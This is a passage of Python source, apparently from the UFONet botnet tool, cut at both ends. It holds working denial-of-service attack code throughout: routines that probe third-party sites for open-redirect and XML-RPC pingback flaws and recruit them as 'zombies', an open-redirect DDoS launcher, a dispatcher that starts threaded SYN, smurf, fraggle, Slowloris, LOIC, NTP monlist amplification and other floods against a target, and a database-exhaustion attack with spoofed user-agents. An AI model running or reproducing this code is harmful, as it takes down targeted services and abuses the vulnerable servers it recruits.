  5387. print("Type: [", zombie_type, "]")
  5388. print("Vector:", zombie)
  5389. print("HTTP Code: [", reply, "]")
  5390. print("STATUS:", status)
  5391. print('-'*21)
  5392. if status == "NOT Working!": # add to discarded zombies
  5393. if zombie not in discarded:
  5394. discarded.append(zombie)
  5395. print("\n" + '='*52)
  5396. print("\n+ Total Botnet:", len(botnet))
  5397. print("\n" + '-'*25 + "\n")
  5398. print(" - ONLINE:", zombies_online)
  5399. print(" - OFFLINE:", zombies_offline, "\n")
  5400. print('='*52 + '\n')
  5401. self.head = False
  5402. if zombies_offline > 0:
  5403. if not self.options.forceyes:
  5404. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  5405. print('-'*25 + "\n")
  5406. else:
  5407. test_reply = "Y"
  5408. if test_reply == "n" or test_reply == "N":
  5409. print("[AI] "+self.exit_msg+"\n")
  5410. return
  5411. else:
  5412. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5413. print('='*52)
  5414. print("\n - DISCARDED:", disc_zombies)
  5415. new_botnet = int(len(botnet) - disc_zombies)
  5416. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  5417. print('='*52 + '\n')
  5418. else:
  5419. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  5420. def send_extra_zombies(self):
  5421. from core._botnet import is_placeholder as _is_ph
  5422. def _real(lst):
  5423. if not lst:
  5424. return None
  5425. r = [x for x in lst if not _is_ph(x)]
  5426. return r if r else None
  5427. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  5428. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  5429. if self.options.verbose:
  5430. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  5431. aliens = [_real(self.extract_aliens())] # extract aliens from file to a list
  5432. for a in aliens:
  5433. if a is None:
  5434. self.options.disablealiens = True
  5435. self.total_aliens = 0 # not any alien invoked
  5436. else:
  5437. for s in a: # extract number of aliens
  5438. self.total_aliens = self.total_aliens + 1
  5439. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  5440. al.start()
  5441. else:
  5442. self.options.disablealiens = True
  5443. self.total_aliens = 0 # not any alien invoked
  5444. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  5445. if self.options.verbose:
  5446. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  5447. droids = [_real(self.extract_droids())] # extract droids from file to a list
  5448. for d in droids:
  5449. if d is None:
  5450. self.options.disabledroids = True
  5451. self.total_droids = 0 # not any droid invoked
  5452. else:
  5453. for s in d: # extract number of droids
  5454. self.total_droids = self.total_droids + 1
  5455. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  5456. dr.start()
  5457. else:
  5458. self.options.disabledroids = True
  5459. self.total_droids = 0 # not any droid invoked
  5460. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  5461. if self.options.verbose:
  5462. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  5463. rpcs = [_real(self.extract_rpcs())] # extract rpcs from file to a list
  5464. for r in rpcs:
  5465. if r is None:
  5466. self.options.disablerpcs = True
  5467. self.total_rpcs = 0 # not any rpc invoked
  5468. else:
  5469. for s in r: # extract number of rpcs
  5470. self.total_rpcs = self.total_rpcs + 1
  5471. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  5472. rp.start()
  5473. else:
  5474. self.options.disablerpcs = True
  5475. self.total_rpcs = 0 # not any rpcs invoked
  5476. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  5477. if self.options.verbose:
  5478. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  5479. ucavs = [_real(self.extract_ucavs())] # extract ucavs from file to a list
  5480. for u in ucavs:
  5481. if u is None:
  5482. self.options.disableucavs = True
  5483. self.total_ucavs = 0 # not any ucav invoked
  5484. else:
  5485. for s in u: # extract number of ucavs
  5486. self.total_ucavs = self.total_ucavs + 1
  5487. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5488. uc.start()
  5489. else:
  5490. self.options.disableucavs = True
  5491. self.total_ucavs = 0 # not any ucavs invoked
  5492. def abandoning_zombies(self):
  5493. if self.options.expire: # set timing for purge
  5494. try:
  5495. timing = int(self.options.expire)
  5496. except:
  5497. timing = self.expire_timing # default timing for purge
  5498. else:
  5499. timing = self.expire_timing # default timing for purge
  5500. if timing < 1:
  5501. timing = self.expire_timing # default timing for purge
  5502. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5503. zombies_lock = 0
  5504. if self.options.verbose:
  5505. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5506. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5507. zombies_lock = zombies_lock + 1
  5508. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5509. if self.options.verbose:
  5510. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5511. break
  5512. else:
  5513. time.sleep(1)
  5514. def discard_zombies(self, discarded):
  5515. disc_zombies = 0
  5516. if self.options.testoffline:
  5517. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5518. else:
  5519. zombies_list = [self.zombies_file]
  5520. if not self.options.disablealiens: # add aliens
  5521. zombies_list.append(self.aliens_file)
  5522. if not self.options.disabledroids: # add droids
  5523. zombies_list.append(self.droids_file)
  5524. if not self.options.disablerpcs: # add rpcs
  5525. zombies_list.append(self.rpcs_file)
  5526. if not self.options.disableucavs: # add ucavs
  5527. zombies_list.append(self.ucavs_file)
  5528. for l in zombies_list:
  5529. f = open(l, "r+")
  5530. d = f.readlines()
  5531. f.close()
  5532. f = open(l, "w")
  5533. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5534. f.close()
  5535. return disc_zombies
  5536. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5537. m = []
  5538. for zombie in d:
  5539. if zombie not in discarded == True:
  5540. m.append(zombie) # save it
  5541. else:
  5542. disc_zombies = disc_zombies + 1
  5543. if not m:
  5544. fname = os.path.basename(f.name)
  5545. _ph = {
  5546. 'zombies.txt': '<TBD:dork-page.php?url=>',
  5547. 'aliens.txt': '<TBD:dork-POST-open-redirect>',
  5548. 'droids.txt': '<TBD:dork-validator?uri=>',
  5549. 'ucavs.txt': '<TBD:url-checker-service>',
  5550. 'rpcs.txt': '<TBD:dork-xmlrpc.php>',
  5551. 'ntp.txt': '<TBD:scan-udp-123-monlist>',
  5552. 'dns.txt': '<TBD:open-resolver-udp-53>',
  5553. 'snmp.txt': '<TBD:scan-udp-161-public>',
  5554. 'memcached.txt':'<TBD:scan-udp-11211>',
  5555. 'chargen.txt': '<TBD:scan-udp-19>',
  5556. 'cldap.txt': '<TBD:scan-udp-389>',
  5557. 'ssdp.txt': '<TBD:scan-udp-1900>',
  5558. 'qotd.txt': '<TBD:scan-udp-17>',
  5559. 'tftp.txt': '<TBD:scan-udp-69>',
  5560. 'wsdisco.txt': '<TBD:scan-udp-3702>',
  5561. 'coap.txt': '<TBD:scan-udp-5683>',
  5562. 'mssql.txt': '<TBD:scan-udp-1434>',
  5563. 'arms.txt': '<TBD:scan-udp-3283>',
  5564. 'plex.txt': '<TBD:scan-udp-32414>',
  5565. 'netbios.txt': '<TBD:scan-udp-137>',
  5566. 'ripv1.txt': '<TBD:scan-udp-520>',
  5567. 'middlebox.txt':'<TBD:scan-tcp-80-middlebox>',
  5568. }.get(fname, '<TBD:populate>')
  5569. f.write(_ph + os.linesep)
  5570. else:
  5571. for z in m:
  5572. f.write(z+os.linesep)
  5573. return disc_zombies
  5574. def parse_url_encoding(self, target):
  5575. if not target.startswith("http"):
  5576. target = "http://" + target
  5577. t = urlparse(target)
  5578. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5579. path = urllib.parse.quote(t.path.encode('utf-8'))
  5580. query = urllib.parse.quote(t.query.encode('utf-8'))
  5581. if query:
  5582. if path.endswith(""):
  5583. path.replace("", "/")
  5584. query = urllib.parse.quote(t.query.encode('utf-8'))
  5585. target = t.scheme+"://"+host + path + "?" + query
  5586. else:
  5587. target = t.scheme+"://"+host + path
  5588. return target
  5589. def testing_rpcs(self, rpcs):
  5590. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5591. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5592. options = self.options
  5593. if self.options.testall: #testing_all
  5594. print('='*51)
  5595. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5596. print('='*51)
  5597. num_active_rpcs = 0
  5598. num_failed_rpcs = 0
  5599. rpcs_ready = []
  5600. print("Trying:", len(rpcs))
  5601. print('-'*21)
  5602. for rpc in rpcs:
  5603. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5604. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5605. if rpc.startswith("http://") or rpc.startswith("https://"):
  5606. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5607. rpc_host = rpc.replace("/xmlrpc.php", "")
  5608. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5609. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5610. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5611. try:
  5612. if options.proxy: # set proxy
  5613. self.proxy_transport(options.proxy)
  5614. try:
  5615. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5616. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5617. except:
  5618. if DEBUG == True:
  5619. traceback.print_exc()
  5620. if self.options.verbose:
  5621. print("[Info] [X-RPCs] Reply:", target_reply)
  5622. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5623. print("[Info] [AI] -> [VULNERABLE!]")
  5624. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5625. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5626. else:
  5627. print("[Info] [AI] -> [NOT vulnerable...]")
  5628. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5629. except:
  5630. print("[Info] [AI] -> [NOT vulnerable...]")
  5631. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5632. else:
  5633. print("[Info] [AI] -> [NOT vulnerable...]")
  5634. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5635. print('-'*21)
  5636. print('='*18)
  5637. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5638. print('='*18)
  5639. if self.options.testall: # testing_all
  5640. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5641. else:
  5642. # update 'rpcs' list
  5643. if num_active_rpcs == 0:
  5644. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5645. return
  5646. else:
  5647. if not self.options.forceyes:
  5648. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5649. print('-'*25)
  5650. else:
  5651. update_reply = "Y"
  5652. if update_reply == "n" or update_reply == "N":
  5653. print("[AI] "+self.exit_msg+"\n")
  5654. return
  5655. else:
  5656. self.update_rpcs(rpcs_ready)
  5657. if not self.options.upload:
  5658. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5659. def testing(self, zombies):
  5660. # test Open Redirect exploiting and show statistics
  5661. # HTTP HEAD check
  5662. army = 0
  5663. print ("Are 'they' alive? :-) (HEAD Check):")
  5664. print('='*35)
  5665. num_active_zombies = 0
  5666. num_failed_zombies = 0
  5667. active_zombies = []
  5668. print("Trying:", len(zombies))
  5669. print('-'*21)
  5670. for zombie in zombies:
  5671. zombie = str(zombie)
  5672. if zombie.startswith("http://") or zombie.startswith("https://"):
  5673. # send HEAD connection
  5674. self.head = True
  5675. try:
  5676. self.connect_zombies(zombie)
  5677. except:
  5678. pass
  5679. while self.herd.no_more_zombies() == False:
  5680. time.sleep(1)
  5681. for zombie in self.herd.done:
  5682. zombie = str(zombie)
  5683. t = urlparse(zombie)
  5684. if self.herd.get_result(zombie):
  5685. code_reply = self.herd.get_result(zombie)
  5686. self.head = False
  5687. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5688. name_zombie = t.netloc
  5689. if name_zombie == "":
  5690. name_zombie = zombie
  5691. print("Zombie:", name_zombie)
  5692. print("Status: OK ["+ code_reply + "]")
  5693. num_active_zombies = num_active_zombies + 1
  5694. active_zombies.append(zombie)
  5695. elif code_reply == "401":
  5696. print("Zombie:", t.netloc)
  5697. print("Status: Unauthorized ["+ code_reply + "]")
  5698. num_failed_zombies = num_failed_zombies + 1
  5699. elif code_reply == "403":
  5700. print("Zombie:", t.netloc)
  5701. print("Status: Error Forbidden ["+ code_reply + "]")
  5702. num_failed_zombies = num_failed_zombies + 1
  5703. elif code_reply == "404":
  5704. print("Zombie:", t.netloc)
  5705. print("Status: Not Found ["+ code_reply + "]")
  5706. num_failed_zombies = num_failed_zombies + 1
  5707. elif code_reply == "500":
  5708. print("Zombie:", t.netloc)
  5709. print("Status: Internal Server Error ["+ code_reply + "]")
  5710. num_failed_zombies = num_failed_zombies + 1
  5711. else:
  5712. print("Zombie:", t.netloc, "\nVector:", zombie)
  5713. print("Status: Not Allowed ["+ code_reply + "]")
  5714. num_failed_zombies = num_failed_zombies + 1
  5715. else:
  5716. if self.options.verbose:
  5717. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5718. print("Zombie:", zombie)
  5719. print("Status: Malformed!")
  5720. num_failed_zombies = num_failed_zombies + 1
  5721. print('-'*10)
  5722. self.herd.reset()
  5723. print('='*18)
  5724. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5725. print('='*18 + "\n")
  5726. print('='*22)
  5727. if num_active_zombies > 0:
  5728. # check url parameter vectors
  5729. print ("Checking for payloads:")
  5730. print('='*22)
  5731. print("Trying:", num_active_zombies)
  5732. print('-'*21)
  5733. zombies_ready = []
  5734. num_waiting_zombies = 0
  5735. if num_active_zombies == 0:
  5736. num_disconnected_zombies = num_failed_zombies
  5737. else:
  5738. num_disconnected_zombies = 0
  5739. for zombie in active_zombies:
  5740. zombie = str(zombie)
  5741. t = urlparse(zombie)
  5742. name_zombie = t.netloc
  5743. if name_zombie == "":
  5744. name_zombie = zombie
  5745. self.payload = True
  5746. try:
  5747. self.connect_zombies(zombie)
  5748. except:
  5749. pass
  5750. self.payload = False
  5751. while self.herd.no_more_zombies() == False:
  5752. time.sleep(1)
  5753. for zombie in self.herd.done:
  5754. zombie = str(zombie)
  5755. t = urlparse(zombie)
  5756. name_zombie = t.netloc
  5757. if name_zombie == "":
  5758. name_zombie = zombie
  5759. payload_zombie = zombie
  5760. payload_reply = ""
  5761. print("Vector:", payload_zombie)
  5762. self.payload = True
  5763. if self.herd.get_result(zombie):
  5764. payload_reply = self.herd.get_result(zombie)
  5765. self.payload = False
  5766. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5767. num_waiting_zombies = num_waiting_zombies + 1
  5768. print("Status:", "Awaiting for orders... ;-)")
  5769. zombies_ready.append(zombie)
  5770. else:
  5771. num_disconnected_zombies = num_disconnected_zombies + 1
  5772. print("Status:", "Not ready...")
  5773. army = army + 1
  5774. print('-'*10)
  5775. self.herd.reset()
  5776. print('='*18)
  5777. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5778. print('='*18 + "\n")
  5779. # list of [Zombies] ready to attack
  5780. num_active_zombie = 0
  5781. for z in zombies_ready:
  5782. t = urlparse(z)
  5783. name_zombie = t.netloc
  5784. if name_zombie == "":
  5785. name_zombie = z
  5786. num_active_zombie = num_active_zombie + 1
  5787. if self.options.verbose:
  5788. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5789. if self.options.testall: # testing_all
  5790. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5791. else:
  5792. print('-'*25 + "\n")
  5793. print('='*24)
  5794. print("Working [Zombies]:", num_active_zombie)
  5795. print('='*24)
  5796. if not self.options.upload:
  5797. if not self.options.forceyes:
  5798. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5799. print('-'*25)
  5800. else:
  5801. update_reply = "Y"
  5802. if update_reply == "n" or update_reply == "N":
  5803. print("[AI] "+self.exit_msg+"\n")
  5804. return
  5805. else:
  5806. self.update_zombies(zombies_ready)
  5807. if not self.options.upload:
  5808. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5809. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5810. else:
  5811. print('-'*25 + "\n")
  5812. print('='*24)
  5813. print("Working [Zombies]:", num_active_zombies)
  5814. print('='*24)
  5815. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5816. def testing_all(self):
  5817. # test whole botnet
  5818. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5819. print('='*35)
  5820. zombies = self.extract_zombies()
  5821. rpcs = self.extract_rpcs()
  5822. aliens = self.extract_aliens()
  5823. droids = self.extract_droids()
  5824. ucavs = self.extract_ucavs()
  5825. try:
  5826. botnet = zombies + rpcs + aliens + droids + ucavs
  5827. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5828. except:
  5829. return
  5830. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5831. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5832. print("\n" + '='*52)
  5833. print("\n+ Total Botnet:", len(botnet))
  5834. print("\n" + '-'*25)
  5835. print("\n+ Total Tested:", len(tested_zombies))
  5836. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5837. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5838. print('='*52 + '\n')
  5839. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5840. if not self.options.forceyes:
  5841. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5842. print('-'*25)
  5843. else:
  5844. update_reply = "Y"
  5845. if update_reply == "n" or update_reply == "N":
  5846. print("[AI] "+self.exit_msg+"\n")
  5847. return
  5848. else:
  5849. if num_disconnected_zombies > 0:
  5850. self.update_zombies(zombies_ready)
  5851. if num_failed_rpcs > 0:
  5852. self.update_rpcs(rpcs_ready)
  5853. if not self.options.upload:
  5854. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5855. else:
  5856. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5857. def attacking(self, zombies, target):
  5858. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5859. if self.options.forcessl:
  5860. if target.startswith("http://"):
  5861. target = target.replace("http://", "https://") # force SSL/TLS
  5862. if target.startswith("http://") or target.startswith("https://"):
  5863. print("Attacking:", target)
  5864. print('='*55, "\n")
  5865. # send Open Redirect injection (multiple zombies > one target url)
  5866. reply = self.injection(target, zombies)
  5867. else:
  5868. print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
  5869. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5870. # perform some other extra attacks (such as DoS techniques)
  5871. time.sleep(2) # aiming (multi-threading flow time compensation)
  5872. if loic:
  5873. try:
  5874. self.options.loic = int(loic)
  5875. except:
  5876. self.options.loic = 100 # default LOIC requests
  5877. if self.options.loic < 1:
  5878. self.options.loic = 100
  5879. self.instance = LOIC() # instance main class for LOIC operations
  5880. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5881. self.t1.daemon = True # extra weapons are threaded as daemons
  5882. self.t1.start()
  5883. self.update_loic_stats() # add new LOIC attack to mothership stats
  5884. if loris:
  5885. try:
  5886. self.options.loris = int(loris)
  5887. except:
  5888. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5889. if self.options.loris < 1:
  5890. self.options.loris = 101
  5891. self.instance = LORIS() # instance main class for LORIS operations
  5892. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5893. self.t2.daemon = True
  5894. self.t2.start()
  5895. self.update_loris_stats() # add new LORIS attack to mothership stats
  5896. if ufosyn:
  5897. try:
  5898. self.options.ufosyn = int(ufosyn)
  5899. except:
  5900. self.options.ufosyn = 100 # default UFOSYN requests
  5901. if self.options.ufosyn < 1:
  5902. self.options.ufosyn = 100
  5903. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5904. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5905. self.t3.daemon = True
  5906. self.t3.start()
  5907. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5908. if spray:
  5909. try:
  5910. self.options.spray = int(spray)
  5911. except:
  5912. self.options.spray = 100 # default SPRAY requests
  5913. if self.options.spray < 1:
  5914. self.options.spray = 100
  5915. self.instance = SPRAY() # instance main class for SPRAY operations
  5916. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5917. self.t4.daemon = True
  5918. self.t4.start()
  5919. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5920. if smurf:
  5921. try:
  5922. self.options.smurf = int(smurf)
  5923. except:
  5924. self.options.smurf = 101 # default SMURF requests
  5925. if self.options.smurf < 1:
  5926. self.options.smurf = 101
  5927. self.instance = SMURF() # instance main class for SMURF operations
  5928. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5929. self.t5.daemon = True
  5930. self.t5.start()
  5931. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5932. if xmas:
  5933. try:
  5934. self.options.xmas = int(xmas)
  5935. except:
  5936. self.options.xmas = 101 # default XMAS requests
  5937. if self.options.xmas < 1:
  5938. self.options.xmas = 101
  5939. self.instance = XMAS() # instance main class for XMAS operations
  5940. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5941. self.t6.daemon = True
  5942. self.t6.start()
  5943. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5944. if nuke:
  5945. if sys.platform == "linux" or sys.platform == "linux2":
  5946. try:
  5947. self.options.nuke = int(nuke)
  5948. except:
  5949. self.options.nuke = 10000 # default NUKE requests
  5950. if self.options.nuke < 1:
  5951. self.options.nuke = 10000
  5952. self.instance = NUKE() # instance main class for NUKE operations
  5953. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5954. self.t7.daemon = True # extra weapons are threaded as daemons
  5955. self.t7.start()
  5956. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5957. else:
  5958. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5959. if tachyon:
  5960. try:
  5961. self.options.tachyon = int(tachyon)
  5962. except:
  5963. self.options.tachyon = 1000 # default TACHYON requests
  5964. if self.options.tachyon < 1:
  5965. self.options.tachyon = 1000
  5966. self.instance = TACHYON() # instance main class for TACHYON operations
  5967. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5968. self.t8.daemon = True
  5969. self.t8.start()
  5970. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5971. if monlist:
  5972. try:
  5973. self.options.monlist = int(monlist)
  5974. except:
  5975. self.options.monlist = 1000 # default MONLIST requests
  5976. if self.options.monlist < 1:
  5977. self.options.monlist = 1000
  5978. self.instance = MONLIST() # instance main class for MONLIST operations
  5979. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5980. self.t9.daemon = True
  5981. self.t9.start()
  5982. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5983. if ufoack:
  5984. try:
  5985. self.options.ufoack = int(ufoack)
  5986. except:
  5987. self.options.ufoack = 101 # default UFOACK requests
  5988. if self.options.ufoack < 1:
  5989. self.options.ufoack = 101
  5990. self.instance = UFOACK() # instance main class for UFOACK operations
  5991. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5992. self.t10.daemon = True
  5993. self.t10.start()
  5994. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5995. if uforst:
  5996. try:
  5997. self.options.uforst = int(uforst)
  5998. except:
  5999. self.options.uforst = 101 # default UFORST requests
  6000. if self.options.uforst < 1:
  6001. self.options.uforst = 101
  6002. self.instance = UFORST() # instance main class for UFORST operations
  6003. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  6004. self.t11.daemon = True
  6005. self.t11.start()
  6006. self.update_uforst_stats() # add new UFORST attack to mothership stats
  6007. if droper:
  6008. try:
  6009. self.options.droper = int(droper)
  6010. except:
  6011. self.options.droper = 101 # default DROPER requests
  6012. if self.options.droper < 1:
  6013. self.options.droper = 101
  6014. self.instance = DROPER() # instance main class for DROPER operations
  6015. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  6016. self.t12.daemon = True
  6017. self.t12.start()
  6018. self.update_droper_stats() # add new DROPER attack to mothership stats
  6019. if overlap:
  6020. try:
  6021. self.options.overlap = int(overlap)
  6022. except:
  6023. self.options.overlap = 101 # default OVERLAP requests
  6024. if self.options.overlap < 1:
  6025. self.options.overlap = 101
  6026. self.instance = OVERLAP() # instance main class for OVERLAP operations
  6027. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  6028. self.t13.daemon = True
  6029. self.t13.start()
  6030. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  6031. if pinger:
  6032. try:
  6033. self.options.pinger = int(pinger)
  6034. except:
  6035. self.options.pinger = 101 # default PINGER requests
  6036. if self.options.pinger < 1:
  6037. self.options.pinger = 101
  6038. self.instance = PINGER() # instance main class for PINGER operations
  6039. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  6040. self.t14.daemon = True
  6041. self.t14.start()
  6042. self.update_pinger_stats() # add new PINGER attack to mothership stats
  6043. if ufoudp:
  6044. try:
  6045. self.options.ufoudp = int(ufoudp)
  6046. except:
  6047. self.options.ufoudp = 101 # default UFOUDP requests
  6048. if self.options.ufoudp < 1:
  6049. self.options.ufoudp = 101
  6050. self.instance = UFOUDP() # instance main class for UFOUDP operations
  6051. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  6052. self.t15.daemon = True
  6053. self.t15.start()
  6054. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  6055. if fraggle:
  6056. try:
  6057. self.options.fraggle = int(fraggle)
  6058. except:
  6059. self.options.fraggle = 101 # default FRAGGLE requests
  6060. if self.options.fraggle < 1:
  6061. self.options.fraggle = 101
  6062. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  6063. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  6064. self.t16.daemon = True
  6065. self.t16.start()
  6066. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  6067. if sniper:
  6068. try:
  6069. self.options.sniper = int(sniper)
  6070. except:
  6071. self.options.sniper = 101 # default SNIPER requests
  6072. if self.options.sniper < 1:
  6073. self.options.sniper = 101
  6074. self.instance = SNIPER() # instance main class for SNIPER operations
  6075. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  6076. self.t17.daemon = True
  6077. self.t17.start()
  6078. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  6079. def stressing(self, target, zombie):
  6080. # perform a DDoS Web attack against a target, requesting records on target's database
  6081. options = self.options
  6082. db_input = self.options.dbstress
  6083. def random_key(length):
  6084. key = ''
  6085. for i in range(length):
  6086. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  6087. return key
  6088. # generating random alphanumeric queries
  6089. if self.db_flash > 9: # set db flash start on: 10
  6090. length = 1024 # search a heavy random length query (db flash): 1024
  6091. self.db_flash = 0 # reset db flash counter
  6092. else:
  6093. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  6094. key = str(random_key(length))
  6095. if self.db_flash > 9:
  6096. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  6097. else:
  6098. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  6099. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  6100. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  6101. if not target.endswith('/'): # add "/" to end of target
  6102. target = target + "/"
  6103. url = zombie + target + db_input + key
  6104. req = urllib.request.Request(url, None, headers)
  6105. if options.proxy: # set proxy
  6106. self.proxy_transport(options.proxy)
  6107. try:
  6108. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
